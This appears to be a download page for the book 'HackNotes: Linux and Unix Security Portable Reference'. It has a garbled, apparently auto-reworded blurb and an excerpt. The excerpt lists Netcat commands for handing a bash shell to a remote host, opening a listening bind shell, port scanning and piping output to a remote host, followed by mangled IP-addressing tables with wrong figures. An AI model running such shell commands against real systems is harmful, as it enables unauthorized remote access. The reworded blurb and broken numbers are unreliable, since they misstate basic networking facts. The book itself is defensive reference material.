Download HackNotes: Linux and Unix Security Portable Reference by Nitesh Dhanjani PDF

By Nitesh Dhanjani

HackNotes Linux and Unix protection transportable Reference promises step by step info of intrusion strategies, instruments, and genuine suggestions getting used through hackers and criminals this day to damage into computing device networks. This publication will educate you the way to guard and harden Linux and Unix hosts opposed to the main frustrating protection concerns. discover ways to use the most recent hacking instruments, together with Airsnort, Dsniff, Ettercap, airy, Kismet, Netcat, and Nmap. safeguard the most well-liked community providers, together with FTP, SSH, Telnet, SMTP, HTTP, HTTPS, R-services, NFS, SAMBA, POP, IMAP, MySQL, X, and VNC. realize either Backdoor and Rootkit instruments and strategies utilized by subtle intruders. safeguard opposed to software program vulnerabilities similar to race stipulations, mistaken enter validation, and misconfigurations. Use the original and easy-to-access Reference middle in the course of the publication to quick find worthy instructions, on-line defense assets, and extra!

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Additional resources for HackNotes: Linux and Unix Security Portable Reference

Example text

The –u flag can be used with many of the commands in the following table in order to make Netcat use UDP instead. com 21 25 80 Connect to remote host nc remote_ip –e /bin/bash and serve a bash shell Note that Netcat does not support the –e flag by default. To make Netcat support the –e flag, it must be re-compiled with the DGAPING_SECURITY_HOLE option. Listen on a port and serve a bash shell upon connect nc –v –l –p –e /bin/bash Port scan a remote host nc –v –z remote_host - Pipe command output to a netcat request | nc remote_host Use source-routing to connect to a port on a remote host nc –g remote_host Note that Netcat does not support the –e flag by default.

IP Addressing Class A Reference Center Classes RC 10 Reference Center Class B Class B addresses are assigned to organizations that consist of a large number of networks and hosts. Therefore, many ISPs are assigned class B addresses. 0 1 16 1 0 NETWORK 31 HOST ■ First Octet 1 and 0. ■ Maximum Networks The network address is denoted by first and second octet. Therefore, 214 = 16,384 class B networks are possible. ■ Maximum Hosts per Network Hosts are denoted by the last two octets. Therefore, 216 – 2 = 65,534 hosts are possible per network.

Ranges from 192 to 233. The first three bits are IP Addressing RC 11 Class D Class D is a reserved class that was designed to be used to send multicast messages to a group of hosts. 0 1 2 3 1 1 1 0 ■ 31 MULTICAST ADDRESS First Octet Ranges from 224 to 239. The first four bits are 1, 1, 1, and 0. Class E 0 1 2 3 4 1 1 1 1 0 RESERVED First Octet Ranges from 240 to 255. The first five bits are 1, 1, 1, 1, and 0. Subnet Masks Network addresses and host addresses are identified by the use of subnet masks.

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